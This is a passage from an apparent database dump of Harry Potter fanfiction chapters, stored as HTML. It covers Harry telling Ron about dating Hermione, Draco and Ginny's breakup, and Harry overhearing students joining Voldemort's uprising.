kissing Parvati.&nbsp; I wouldn\'t have believed it normally but...well last night Parvati was saying about how you seem really interested in her and that you\'ve kissed her...and I don\'t know...&quot; she trailed off.</p>\n\n<p>Harry let go of her hands and wrapped them around her, &quot;Oh Hermione.&nbsp; It\'s just some arsehole being a prat.&nbsp; Ignore them.&nbsp; I would never do that to you.&quot;</p>\n\n<p>Hermione sniffed a bit, &quot;I shouldn\'t have doubted you.&quot;</p>\n\n<p>Harry leaned down and kissed her on the head softly, &quot;It\'s alright.&nbsp; Everythings fine now.&nbsp; Come on.&nbsp; Let\'s go down to the kitchens.&nbsp; Ron wants some eclairs.&quot;</p>\n\n<p>Hermione laughed a little and pulled back from him but took his hand in hers and they walked down the corridor together, hands held and a comfortable silence between them.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~</p>\n\n<p>Harry swallowed and took a deep breath.&nbsp; Hermione had assigned him the job of telling Ron that he and Hermione were together.&nbsp; She assured him that everything would be fine and that when she got back from being in the library finishing her arithmacy assignment she\'d come up and help him if things weren\'t sorted out. Harry shut his eyes momentarily before looking at Ron who was lying on the floor playing chess with Neville.</p>\n\n<p>&quot;Ron?&nbsp; Can I have a word?&quot; Harry asked.</p>\n\n<p>&quot;I\'m playing chess at the moment Harry.&quot;&nbsp; Ron said as he studied the board carefully.</p>\n\n<p>&quot;Ron now.&quot; Harry said firmly.</p>\n\n<p>Ron sat up and raised an eyebrow, &quot;Alright...I\'ll finish beating you later Nev.&quot;</p>\n\n<p>Harry swallowed again as Ron stood up and sat on the edge of the couch.</p>\n\n<p>&quot;Well?&quot; Ron asked.</p>\n\n<p>Harry glanced around, about half of the common room was watching them, &quot;Upstairs.&quot; he said.</p>\n\n<p>Harry sat down on his bed nervously, his palms were a bit sweaty and his heart was beating twice as fast as usual.</p>\n\n<p>&quot;Okay Harry.&nbsp; What\'s wrong? You\'re freaking me out.&quot; Ron said sitting down opposite looking very concerned.</p>\n\n<p>&quot;Well...it\'s just that..&quot;Harry started, &quot;You know how I erm...well...you know how you were teasing me..about not having a girlfriend..&quot;</p>\n\n<p>&quot;You got a girlfriend!&quot; Ron grinned, &quot;Who is she? Wait \'till Hermione finds out about this!&quot;</p>\n\n<p>&quot;Well the thing is...&quot;Harry started.</p>\n\n<p>&quot;You\'ve told Hermione already?&quot; Ron asked looking disappointed, &quot;I thought you\'d tell me first.&quot;</p>\n\n<p>&quot;I am telling you first!&quot; Harry said, &quot;It\'s just that...I mean...&quot;</p>\n\n<p>&quot;Harry spit it out.&quot;</p>\n\n<p>&quot;It\'s Hermione.&quot;</p>\n\n<p>&quot;...&quot;</p>\n\n<p>&quot;Ron are you okay?&quot;</p>\n\n<p>&quot;I-I-...wow. Didn\'t see that coming.&quot; Ron said looking a little shocked, &quot;Well no I did. But I just didn\'t think you two would..well. Congratulations.&quot; Ron said without much enthusiasm.</p>\n\n<p>&quot;Ron...are you okay about it?&quot; Harry asked picking up on Rons lack of enthusiasm.</p>\n\n<p>&quot;Oh yeah I\'m fine.&nbsp; Bit shocked but I\'m happy for you two.&quot; Ron said shaking his head a little to get rid of the shock, a sad look fell onto his face.</p>\n\n<p>&quot;You\'re not are you?&quot; Harry asked with a sigh.</p>\n\n<p>&quot;Oh no I am happy for you two! It\'s just now I can\'t tease you about you being gay.&quot; Ron grinned.</p>\n\n<p>&quot;YOU KNEW I WASN\'T GAY.&quot;</p>\n\n<p>&quot;Uh huh.&quot;</p>\n\n<p>&quot;RON!!&quot;</p>\n\n<p>Ron fell back so he was lying on the bed, &quot;Relax you prat. I\'m joking. Good on you.&nbsp; Took you long enough.&quot;</p>\n\n<p>&quot;Thanks Ron.&quot;</p>\n\n<p>&quot;No problem.&nbsp; Now for more important matters.&nbsp; Where are my eclairs?&quot;</p>\n\n<p>~~~~~~~</p>\n\n<p>AN: Okay what did you think? Please R&amp;R that took me longer than expected to get out!!&nbsp; But here it is!! So enjoy!!</p> '),
	(205, 14, ' <p>Disclaimer: I don\'t own Harry Potter or any of the characters.&nbsp; They belong to JKRowling etc.</p>\n\n<p>Author Notes: Hello again everyone. Thank you for all the reviews. They are greatly appreciated. I\'ve plotted out the final chapters of this story and indeed they are drawing to a close.&nbsp; Unfortunately. As this seems to be extremely popular! And I always get loads of reviews!</p>\n\n<p>I estimate there will be 2-3 chapters after this one. Depending on how much depth I go into the 2nd one.</p>\n\n<p>Sad but it\'ll leave me more time and more ability to write more stories!</p>\n\n<p>I think I prefer doing shorter stories. Like one-shots or only a few chapters.</p>\n\n<p>Anyway! So enjoy this chapter because there won\'t be many more after it!</p>\n\n<p>Sorry this took so long to get out I was away at camp for a while.</p>\n\n<p><b>Please Note: This story contains some D/G focus even though this is mainly a H/H story.</b></p>\n\n<p><u></u></p>\n\n<p><u>Chapter 13</u></p>\n\n<p>Harry watched as Parvati Patil and Lavender Brown came down the stairs to their dorm.&nbsp; He casually walked over to the two and gave them both a casual smile.</p>\n\n<p>&quot;Good morning.&quot; he said friendly enough.</p>\n\n<p>&quot;Oh. Hello Harry.&quot; Parvati said blushing a bit and giving Lavender a knowing look, &quot;Would you like something?&quot;</p>\n\n<p>Harry smiled again, this time it was more of a sort of grimace, &quot;Yes actually. I was just wondering if either of you knew who wrote this completely untrue letter to Hermione about us saying you and I are a couple.&quot;&nbsp; He asked, pulling the parchment out of his pocket.</p>\n\n<p>Parvati stared at it for a moment, &quot;No we don\'t.&nbsp; Now if you\'ll excuse us, we were headed down to the Great Hall.&nbsp; Unless, of course, you\'d like to escort us?&quot; She said somewhat coldly until the ending sentence where she batted her long eyelashes and flashed him a dazzling smile.</p>\n\n<p>&quot;I don\'t think so.&quot; Harry said matching her coldness, &quot;Just keep in mind that if I hear any more letters or rumours going around I will deal with whoever has started them.&nbsp; This isn\'t fair on Hermione.&nbsp; Understand?&quot; </p>\n\n<p>Parvati blushed a little angrily, &quot;Goodbye.&quot; She said and turned on her heel and stormed out of the common room, Lavender following her quickly.</p>\n\n<p>Harry rolled his eyes and let out a big sigh.&nbsp; He hated confrontation, and that early in the day too...but it needed to be done.&nbsp; And now it was over and Harry could enjoy the day with his girlfriend and his best male friend.</p>\n\n<p>&quot;Hey mate!&quot; Ron said enthusiastically clapping Harry on the back.</p>\n\n<p>&quot;You\'re chirpy.&quot; Harry said dubiously, &quot;What\'s going on?&quot;</p>\n\n<p>Ron grinned, &quot;Nothing.&nbsp; Can\'t I be happy?&quot;</p>\n\n<p>&quot;No.&quot;</p>\n\n<p>&quot;Would you prefer I was depressed?&nbsp; Because that can be arranged.&quot; Rons grin turned upside down and he gave Harry the most pitiful look Harry had ever seen.</p>\n\n<p>Harry laughed, &quot;It\'s too early for your mood swings.&quot;</p>\n\n<p>Ron grinned again.</p>\n\n<p>&quot;Okay.&nbsp; Tell me. What did you do?&nbsp; What do you know?&quot; Harry asked suspiciously.</p>\n\n<p>Ron just kept grinning.</p>\n\n<p>&quot;RON!&quot; </p>\n\n<p>&quot;Yes?&quot; </p>\n\n<p>Harry rolled his eyes, &quot;Fine.&nbsp; Keep your little secrets.&nbsp; HERMIONE! ARE YOU COMING DOWN?&quot; he yelled the last part up the stairs.</p>\n\n<p>&quot;Coming!&quot; She yelled back.</p>\n\n<p>Harry and Ron stood there talking about Qudditch for at least 15 minutes before they heard the girls dorm door open.</p>\n\n<p>&quot;Final-&quot; Harry started but was cut off by the sight in front of him.&nbsp; His mouth dropped open and he just stared at the angel that was making its way down the stairs. </p>\n\n<p>She put closed his mouth, &quot;Close your mouth Harry before you catch flies.&quot;</p>\n\n<p>Harris just stared at her silently for what seemed like eternity.</p>\n\n<p>&quot;You look...&quot;Harry started but couldn\'t think of the right word.</p>\n\n<p>&quot;Nice, pretty, stunning, amazing, brilliant, wonderful, come on spit it out.&quot; Ron started listing them off for Harry to pick from</p>\n\n<p>&quot;...Exquisite.&quot;</p>\n\n<p>Hermione blushed, &quot;Thank you.&quot; she said softly.</p>\n\n<p>Harry held out his arm to her and she, still blushing, took it.</p>\n\n<p>Ron rolled his eyes but took her other arm, &quot;Can we go now? I\'m starving!&quot;</p>\n\n<p>&quot;You\'re always hungry Ron.&quot; Hermione laughed, &quot;It\'s like you have hollow legs.&quot;</p>\n\n<p>~0~</p>\n\n<p>Harry whistled as he happily he strode down the corridor.&nbsp; Things were looking up for him, he and Hermione had just arranged to go to a restaurant and have a proper date on their next Hogsmede trip.&nbsp; He didn\'t think anything could bring his mood down.</p>\n\n<p>&quot;Bastard!&quot;</p>\n\n<p>He knew that voice...</p>\n\n<p>Harry quickly started jogging towards where he could hear the obvious arguement going on.&nbsp; He turned the corner and there he saw an enraged redhead with a well known fiery temper and a just as enraged blonde with a just as well known temper.</p>\n\n<p>&quot;Ginny...Draco.&nbsp; What\'s wrong?&quot; Harry asked carefully.</p>\n\n<p>There was silence as the two glared at each other.</p>\n\n<p>&quot;Well nobody rush to tell me.&quot; Harry said trying to lighten the situation.</p>\n\n<p>Ginny turned to him, &quot;HE is being the biggest PRICK on this earth.&quot; She turned back to him, &quot;How can you say that to me? How can you honestly say that?&nbsp; Doesn\'t what we said mean <i>anything </i>to you?&quot;&nbsp; Her eyes filled with angry tears.</p>\n\n<p>Dracos face softened, &quot;Ginny...you know it does...but-&quot;</p>\n\n<p>&quot;But <i>nothing! </i>I give up! I don\'t know how I could have ever loved such a selfish bastard!&nbsp; We\'re through!&nbsp; You understand me! I never want to talk to you again!&quot;</p>\n\n<p>With this she turned on her heel and stormed away.&nbsp; Harry and Draco stared after her.&nbsp; Harry turned towards him.</p>\n\n<p>&quot;Don\'t.&quot; Was all he said as he too turned and walked away.</p>\n\n<p>Harry was left standing in the middle of the Charms corridor, confused, dazed and above all concerned.&nbsp; He blew his hair out of his eyes and continued walking back towards the Gryffindor common room, the bounce in his step gone, the twinkle in his eye dimmed and his heart heavy.</p>\n\n<p>[AN: dun dun dun!!!...sorry. =D]</p>\n\n<p>~0~</p>\n\n<p>Draco waited for hours for her to come on.&nbsp; He\'d been warned to stay away by Ron and he didn\'t need a black eye on top of everything.&nbsp; As if she knew he had been waiting her name popped up on his screen.</p>\n\n<p>SilverSerpent: Ginny.&nbsp; I\'m so sorry.</p>\n\n<p>He waited for a response and reluctantly one came.</p>\n\n<p>RedTemptress: I\'m not in the mood for your games.&nbsp; Bugger off.</p>\n\n<p>He bit his lip.</p>\n\n<p>SilverSerpent: Ginny. Please.&nbsp; You know I wasn\'t trying to hurt you.&nbsp; It\'s for the best what I said.</p>\n\n<p>RedTemptress: You really believe that?!&nbsp; After everything?!</p>\n\n<p>SilverSerpent: I do.&nbsp; I don\'t want it to be like this but it has to be.</p>\n\n<p>RedTemptress: I\'m SICK of this shit.</p>\n\n<p>Draco winced, he knew the sign of her cussing at him.&nbsp; It was her not so subtle signal that her storm was brewing and to dive for cover.</p>\n\n<p>RedTemptress: I hate how you do this to me! I hate how you make me feel like I hate you but I love you at the same time! I can\'t do this without you. I won\'t...</p>\n\n<p>SilverSerpent: Ginny...</p>\n\n<p>RedTemptress: Go on! Just go on! Go hide behind your cold shell. I know what\'s behind there! You can\'t fool me anymore.&nbsp; I know that your heart beats like mine does.&nbsp; That you care like I do.&nbsp; That you have emotions and you don\'t like seeing someone you care for in pain... So why are you making me go through this much pain? Don\'t you even care?</p>\n\n<p>SilverSerpent: I love you of course I care.</p>\n\n<p>RedTemptress: BULLSHIT! JUST BULLSHIT! You know what?!?!!? I tried! I give up! Leave me alone Malfoy I\'m sick to death of you and your mind games. </p>\n\n<p>And she was gone just like that.&nbsp; Draco buried his head in his hands.</p>\n\n<p>&quot;What have I done?&quot; he sighed aloud.</p>\n\n<p>~0~</p>\n\n<p>Ginny drew her knees up and wrapped her arms around them, letting her head rest on her knees as she finally let the tears fall.&nbsp; She sat there, sometimes yelling, sometimes whispering, but mostly just crying for what seemed like hours.&nbsp; She didn\'t hear the footsteps crunching through the snow towards her.&nbsp; She didn\'t see the worried looks on their faces.&nbsp; All she saw was his face in her mind telling her over and over again.</p>\n\n<p>&quot;Ginny?&quot; A soft voice asked.</p>\n\n<p>She jumped and looked up at two faces not so far away from her own.&nbsp; </p>\n\n<p>&quot;Ron. Harry.&quot; She croaked, quickly wiping away her tears.</p>\n\n<p>&quot;Ginny what\'s wrong?&quot; Harry asked again.</p>\n\n<p>Ginny straightened herself up and stood up, &quot;Nothing.&quot; she said, her chin tilting upwards defiantly.</p>\n\n<p>Harry and Ron exchanged a look.</p>\n\n<p>&quot;What has that bastard done to you?&quot; Ron spat out.</p>\n\n<p>&quot;I don\'t know who you\'re talking about.&quot; Ginny said, but her voice quavered a little.</p>\n\n<p>Ron grabbed her by the shoulders, &quot;Ginny. <i>Tell me.</i>&quot;</p>\n\n<p>Ginny looked down at the ground, &quot;I can\'t...&quot; she whispered.</p>\n\n<p>&quot;Why? Why not?&quot; Ron asked almost panicked.</p>\n\n<p>&quot;It\'s not-&quot; She took a deep breath and said clearly, &quot;It\'s nothing to do with you Ron.&nbsp; Just leave it.&quot;</p>\n\n<p>&quot;No.&quot; Ron said firmly, holding her in place.</p>\n\n<p>&quot;Ron please.&quot; Ginny begged, she could feel her walls breaking down around her.</p>\n\n<p>&quot;Tell us what happened.&quot; Harry said as kindly as he could while still sounding firm.</p>\n\n<p>Ginny started to cry again, much to Rons disbelief and horror.&nbsp; He pulled her into a hug.</p>\n\n<p>&quot;Ginny you\'re starting to scare me now,&quot; He said holding her, &quot;Please tell me your not pregnant or anything.&quot;</p>\n\n<p>Ginny let out a little sniffly laugh, &quot;No I\'m not pregnant.&quot; she said wiping her eyes.</p>\n\n<p>Harry sat down on the bench and patted the spot beside him, &quot;Sit.&quot; </p>\n\n<p>The next hour was filled with crying, hugging, loud exclamations, understanding and....of course cussing on Rons part.</p>\n\n<p>&quot;He did WHAT?!&quot; Ron roared.</p>\n\n<p>&quot;Ron.&quot; Harry said warningly.</p>\n\n<p>Ginny sniffed, &quot;And then he said that he couldn\'t do it anymore and that...I\'d be in too much danger...&quot;</p>\n\n<p>Harry had never quite seen this side of Ron. He was being serious, or as serious as it was possible for him to be, caring, brotherly and above all he was being really sweet and nice to Ginny.&nbsp; Needless to say, Harry was a bit stunned.</p>\n\n<p>&quot;Well I agree with him.&quot; Ron said finally, &quot;I\'m glad he broke it off with you because he\'s right you would be in too much danger! And I\'m not letting you be put at that much or a risk.&quot;</p>\n\n<p>&quot;Hermiones in danger being with Harry.&quot; Ginny snapped.</p>\n\n<p>Harry frowned and sighed as Ron tried to argue this statement.</p>\n\n<p>&quot;Ron she\'s right,&quot; He said interrupting him, &quot;Hermione is in danger being with me.&nbsp; Just like Ginny&#8217;s in danger being with Draco...I can understand why he said what he did Ginny.&nbsp; If I hadn\'t been through everything I\'ve been through with Hermione I\'d probably say the same thing to her.&nbsp; But I know that no matter what I say to her, she\'s not going to give up on me...she\'s far too stubborn for that.&quot;</p>\n\n<p>Ron frowned, &quot;But that\'s not the same Harry.&nbsp; This is Ginny...she\'s....I can\'t just....&quot; he sighed loudly.</p>\n\n<p>Ginny cuddled up to him, &quot;Ron I love Draco.&nbsp; I do.&quot;</p>\n\n<p>Ron sighed again at this.</p>\n\n<p>&quot;I don\'t want to break up with him.&nbsp; I\'d face anything for him.&nbsp; Including Voldemort.&quot;</p>\n\n<p>Ron twitched at the name.</p>\n\n<p>&quot;I think..I\'ll have a talk to Draco. On my own.&quot; Harry said pointedly to Ron, &quot;It\'ll be alright Ginny.&nbsp; I know what he\'s going through. Everything will be fine.&quot;</p>\n\n<p>Ginny smiled, &quot;Group hug!&quot; she said holding her arms out to them and the three embraced as it started to snow once again.</p>\n\n<p>AN: Yup that\'s it for the moment folks! </p>\n\n<p>I\'ve been thinking of lowering the R rating because the part that was going to be included in this story that would have made the R rating is kind of....destroyed.&nbsp; At least in my mind it is. I\'m not sure if I want that anymore in the story. Soooo I think I\'m going to lower the rating to Pg-13 so it\'ll still have make-out sessions etc...but the R rated scene won\'t be there. </p>\n\n<p>Perhaps another time aye?</p> '),
	(205, 15, ' <p>AN: Sorry it&#8217;s been a while. Been a bit busy and the like. But here it is. Enjoy.</p>\n\n<p>Chapter 14</p>\n\n<p>Harry walked down through the cold, damp corridor to the Slytherin common room where he assumed, or at least hoped, Malfoy would be.&nbsp; There were many a portrait on Harry&#8217;s journey and each turned to stare at Dumbledore&#8217;s Golden Boy making his was steadily into the dungeons of the castle. His footsteps echoed down the corridor that could be leading to our hero&#8217;s doom.&nbsp; He stopped outside the slightly familiar entrance to the Slytherin dorms.&nbsp; He paused at the wall a little hesitantly then knocked firmly on it.&nbsp; He couldn&#8217;t hear anything inside moving but he assumed that the common room was reasonably soundproof; as was the Gryffindor common room.&nbsp; A few moments later the wall opened to reveal a 2<sup>nd</sup> or 3<sup>rd</sup> year Slytherin glaring at him. </p>\n\n<p>&#8220;What?&#8221; he sneered at Harry.</p>\n\n<p>A sneer that was so like Draco&#8217;s Harry was astounded momentarily.</p>\n\n<p>&#8220;I&#8217;m looking for Draco Malfoy.&#8221;&nbsp; </p>\n\n<p>The Slytherin looked Harry up and down for a moment, &#8220;Wait here.&#8221; He said finally and the door sealed behind him. </p>\n\n<p>Harry waited slightly impatiently for the most likely vexed Malfoy to emerge.&nbsp; He didn&#8217;t have to wait long.&nbsp; Malfoy gracefully stepped through and met Harry.&nbsp; On the outside he looked his cold, angry usual self but Harry could see his eyes were swimming with inner turmoil and angst.</p>\n\n<p>&#8220;I&#8217;m not in the mood Potter.&#8221; Malfoy snapped.</p>\n\n<p>Harry sighed internally; he wasn&#8217;t sure where to start.&nbsp; He knew what he needed to say&#8230;but just not how to.&nbsp; </p>\n\n<p>He met Malfoys eyes determinedly, &#8220;You&#8217;re going to listen to what I have to say.&#8221; He said firmly, leaving no room for opposition.</p>\n\n<p>Malfoy didn&#8217;t say anything and Harry took this as encouragement to continue.</p>\n\n<p>&#8220;Look Draco,&#8221; Harry started a little hesitantly, &#8220;I know what you&#8217;re going through.&#8221;</p>\n\n<p>Malfoy gave him a scornful look but let him continue.</p>\n\n<p>&#8220;Maybe not exactly,&#8221; Harry acknowledged, &#8220;But to some extent.&nbsp; You broke up with Ginny.&nbsp; I had a long talk with her.&#8221;</p>\n\n<p>Malfoy frowned and then let out a long sigh, &#8220;I don&#8217;t know what to do.&#8221; He admitted, &#8220;I do love her&#8230;but that&#8217;s the problem.&nbsp; If she gets hurt because of me&#8230;&#8221; he trailed off miserably.</p>\n\n<p>&#8220;Look Malfoy, I know you&#8217;re not going to want to hear this but you need to.&nbsp; Ginny is a fantastic young lady.&nbsp; She deserves to be happy.&nbsp; I&#8217;ve known Ginny for a long time now; I know how stubborn she is.&nbsp; And so do you.&nbsp; It&#8217;s the same with Hermione.&nbsp; If I tried to break it off with her because of the lack of safety, and believe me I&#8217;ve thought about it, I know exactly what she&#8217;d say.&nbsp; She&#8217;d chide me for being so chauvinistic and thinking she couldn&#8217;t take care of herself.&nbsp; I know it&#8217;s hard to let someone be close but&#8230;you&#8217;ve got to let someone in sometime.&#8221; Harry finished his rant feeling slightly flustered; he was no good at speeches.</p>\n\n<p>Malfoy was silent for quite some time.&nbsp; Harry held his breath for his answer. </p>\n\n<p>&#8220;I know all that. Honestly I do but&#8230;my instincts tell me to protect her, to save her from this disastrous situation that could be the end of her.&nbsp; If Voldemort gets a hold of our relationship, Ginny&#8217;s a goner.&nbsp; I can&#8217;t let that happen!&#8221; His voice was slightly panicky.</p>\n\n<p>Harry glanced around the barren corridor, &#8220;Perhaps this isn&#8217;t the best place for this conversation.&#8221; He said hesitantly.</p>\n\n<p>Draco nodded, &#8220;I&#8217;d better go back inside&#8230;&#8221;</p>\n\n<p>Harry bit his lip, &#8220;I suppose so&#8230;think about what I said alright?&nbsp; You can&#8217;t make this decision on your own.&nbsp; It takes two to tango.&#8221;</p>\n\n<p>Malfoy gave him a bewildered look.</p>\n\n<p>Harry smiled, &#8220;Just talk to Ginny.&#8221;</p>\n\n<p>Without another word Malfoy muttered the password and left Harry standing alone in the corridor.&nbsp; He stared at the blank wall in front of him for a minute as if waiting for a response from it that Draco just wouldn&#8217;t give.&nbsp; Loud footsteps broke him out of his trance and he looked around for a place to hide quickly.&nbsp; It might not look so good if he was caught hanging around the Slytherin common room, especially not by a Slytherin, who would surely report to his or her father about it.&nbsp; And of course that would lead to questions about Draco&#8230;he was already in enough trouble.&nbsp; </p>\n\n<p>Harry ducked behind a suit of armor and held his breath as the steps grew louder.&nbsp; He could hear two voices talking, one female, and one male.&nbsp; The male was definitely from Slytherin, he could tell from the arrogant drawl that was a Slytherin trademark.&nbsp; Harry couldn&#8217;t tell about the girl, her voice was speaking in soft hushed tones as if whispering a deadly secret no one could know about.&nbsp; Harry bit his lip in concentration, trying to hear every word of their conversation. </p>\n\n<p>&#8220;You&#8217;re sure?&#8221; The girl gasped quietly.</p>\n\n<p>Harry moved his head a little to the side so he could peer out from behind the armor without being seen.&nbsp; The girl had her back to him but Harry could see the boy in clear view.&nbsp; He&#8217;d seen him around.&nbsp; A fifth or sixth year he supposed.&nbsp; </p>\n\n<p>The boy looked around hastily, &#8220;Of course I&#8217;m sure.&#8221; He whispered fiercely, &#8220;I got a letter from my father yesterday evening telling me so.&#8221;</p>\n\n<p>Harry couldn&#8217;t see the girls&#8217; reaction but she was obviously upset as the quiver in her voice showed, &#8220;I don&#8217;t know if I&#8217;m ready though.&#8221;</p>\n\n<p>The boys&#8217; voice twisted in annoyance, &#8220;You&#8217;re ready when he says you&#8217;re ready.&nbsp; There&#8217;s no turning back now.&nbsp; We need to get all our numbers up for the upcoming&#8230;&#8221; he looked around cautiously, &#8220;&#8230;event.&#8221;</p>\n\n<p>The girl nodded, &#8220;Yes, I suppose.&#8221; She said dubiously.</p>\n\n<p>He grabbed her roughly by the arm, &#8220;Don&#8217;t tell me your having second thoughts.&#8221; He spat.</p>\n\n<p>&#8220;No! No of course I&#8217;m not!&nbsp; I&#8217;d never&#8230;it&#8217;s just&#8230;it&#8217;s sooner than I expected.&#8221;</p>\n\n<p>The boys face softened slightly but hardly noticeable, &#8220;It&#8217;s sooner than anyone expected but <i>he </i>said so.&nbsp; You don&#8217;t argue with him.&#8221;</p>\n\n<p>&#8220;Yes of course not.&nbsp; I will join the Dark Lords uprising.&#8221; She said standing up straighter.</p>\n\n<p>The boy nodded at her firmly giving her a once over glance, &#8220;I&#8217;ll inform my father tonight.&nbsp; The meeting&#8217;s tomorrow evening.&nbsp; Meet me here.&nbsp; We&#8217;ll go together.&nbsp; Don&#8217;t even think about backing out.&#8221; He hissed, &#8220;You&#8217;ll only have a week to prepare before we attack.&#8221;</p>\n\n<p>The girls&#8217; voice was complacent, &#8220;That&#8217;ll be more than enough. I&#8217;m not in Ravenclaw for nothing you know.&#8221; </p>\n\n<p>A quick nod and a mutter and then the boy was gone.&nbsp; Harry watched the girl for a moment as she stood there in silence.</p>\n\n<p>&#8220;What have I gotten myself into?&#8221; she murmured quietly before quickly looking around and hurriedly making her way to her dorm.</p>\n\n<p>Harry slipped out from behind the armor; his face filled with shock.&nbsp; She was a Ravenclaw.&nbsp; He&#8217;d always assumed they&#8217;d be far too intelligent to think about joining the dark side.&nbsp; Obviously he&#8217;d been wrong&#8230;who knew how many dark supporters there were in Ravenclaw and Hufflepuff.&nbsp; But Gryffindor?&nbsp; Harry shook his head; he couldn&#8217;t imagine anyone from there supporting Voldemort. But who knew?&nbsp; Dumbledore would have to be told of course.&nbsp; Harry decided he&#8217;d write him a letter and owl it as soon as he got back to his room.</p>\n\n<p>[AN: at some stage throughout the story Hermione received her own room okay?? I didn&#8217;t add it in because it wasn&#8217;t a major detail in the plot]</p>\n\n<p>~0~</p>\n\n<p>Harry sat down at his desk and pulled out a piece of parchment from one of the many drawers the desk held.&nbsp; It, of course, being magical seemed to find amusement in hiding everything from Harry.&nbsp; However this time it was rather co operative and Harry found himself moments later with a piece of blank parchment and a quill in his hand.</p>\n\n<p><i>Professor Dumbledore,</i></p>\n\n<p><i></i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While down the dungeons corridor outside the Slytherin common room a few minutes ago for personal reasons I discovered some news about Voldemort that I think you should know.&nbsp; I overheard a fifth or sixth year Slytherin boy and a Ravenclaw girl discussing Voldemorts uprising.&nbsp; The young man received a letter from his father last night detailing some sort of meeting that he was to attend tomorrow night and the Ravenclaw girl is going to attend with him.&nbsp; He also said that she&#8217;d only have one week to prepare before they attack.&nbsp; Unfortunately that was all I overheard.&nbsp; I hope this information helps you and the Order.</i></p>\n\n<p><i></i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry </i></p>\n\n<p><i></i></p>\n\n<p>Harry read over the note once and quickly scrawled his name at the bottom.&nbsp; He yawned loudly but grabbed a cloak and with a swish of it the door closed behind him.&nbsp; He walked through the empty corridors, half patrolling half just going to the owlery.&nbsp;&nbsp; His mind was on other thoughts than where he was going so it gave him quite a shock when Filch popped up out of nowhere.</p>\n\n<p>&#8220;Oh it&#8217;s you.&#8221; He sneered, &#8220;What are you doing out so late?&#8221;</p>\n\n<p>&#8220;Patrolling.&#8221; Harry said simply.</p>\n\n<p>Filch sneered again, Mrs. Norris by his feet glaring at him with her cat eyes.</p>\n\n<p>&#8220;If you catch anyone send them straight to me.&#8221; Filch said and with that turned on his heel and disappeared behind a tapestry.</p>\n\n<p>Harry rolled his eyes and continued on his way to the owlery.&nbsp; He loved going there at night almost as much as flying. &#8230;well maybe not <i>that</i> much.&nbsp; He spotted Hedwig on a perch not too far away and went over and gave her a pat before asking her to deliver his message to Dumbledore right away.&nbsp; With a reassuring hoot, Hedwig took off out of the owlery and Harry watched her swoop around a little before going to find Dumbledore.&nbsp; Harry sighed as she disappeared into the night and turned around.&nbsp; He supposed he&#8217;d better do some<i> real</i> patrolling before going to bed.&nbsp; So with a loud yawn he set out into the dark corridors looking for students out of bed like himself.</p>\n\n<p>~0~</p>\n\n<p>Harry watched as Ron squirmed uncomfortably.&nbsp; </p>\n\n<p>&#8220;Well?&#8221; he prompted.</p>\n\n<p>Ron made a face and didn&#8217;t say anything.&nbsp; Harry rolled his eyes and muttered something unintelligible under his breath.&nbsp; Ron eyed him up for a minute.</p>\n\n<p>Ron sighed, &#8220;You&#8217;re not going to drop it are you?&#8221; </p>\n\n<p>Harry just grinned in response.</p>\n\n<p>Ron ran a hand through his red hair, &#8220;<i>It</i> didn&#8217;t go so well.&#8221;</p>\n\n<p>Harrys&#8217; grin grew wider, &#8220;Go on say it.&nbsp; Call it a <i>date</i>.&#8221;</p>\n\n<p>Ron&#8217;s eye twitched in response, he cleared his throat loudly, &#8220;Yes that.&nbsp; Well it was a bit of a disaster really&#8230;&#8221; he sighed again, &#8220;It was really awkward&#8230;and when we went to kiss it was just&#8230;I don&#8217;t know&#8230;it was&#8230;&#8221; he started to gesture with his hands here, looking for the right words.</p>\n\n<p>Harry raised an eyebrow.</p>\n\n<p>&#8220;&#8230;.awkward.&#8221;</p>\n\n<p>Harry rolled his eyes, &#8220;So I&#8217;ve heard.&nbsp; So you kissed&#8230;anything else?&nbsp; Anything,&#8221; Harry wiggled his eyebrows, &#8220;sexual?&#8221;</p>\n\n<p>Ron&#8217;s ears went red, &#8220;No.&#8221;</p>\n\n<p>Harry bit back laughter at Ron, he was honestly pathetic.&nbsp; It was just a date&#8230;a date with a Slytherin was slightly more stressful he supposed but&#8230;they were 7<sup>th</sup> form.&nbsp; They&#8217;d been on many a date&#8230;well Ron had been on many a date&#8230;and they&#8217;d all been alright.&nbsp; Nothing like what Ron was going through now obviously.</p>\n\n<p>&#8220;Are you going to ask her out again?&#8221; Harry asked curiously.</p>\n\n<p>Ron shrugged embarrassedly, &#8220;I didn&#8217;t really ask her out the first time&#8230;it was sort of mutual.&#8221;</p>\n\n<p>&#8220;You mutually asked each other out?&#8221; Harry split into peals of laughter.</p>\n\n<p>Ron harrumphed at him, &#8220;Yes. Stop laughing you prick.&#8221;</p>\n\n<p>Harry just laughed harder, it wasn&#8217;t really <i>that</i> funny&#8230;but I guess you had to be Harry to get it&#8230;poor deluded hapless Harry. </p>\n\n<p>Ron scowled at him, &#8220;Fine.&#8221; </p>\n\n<p>Harry stopped laughing, his eyes slightly wet from his random outburst of hysterics, &#8220;Oh calm down.&nbsp; I&#8217;m sorry.&nbsp; I&#8217;ve never heard of mutual asking out.&#8221;</p>\n\n<p>Ron was about to retort back but his stomach answered for him.</p>\n\n<p>&#8216;Graaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaw.&#8217; (Yes that was his stomach)</p>\n\n<p>&#8220;I&#8217;m 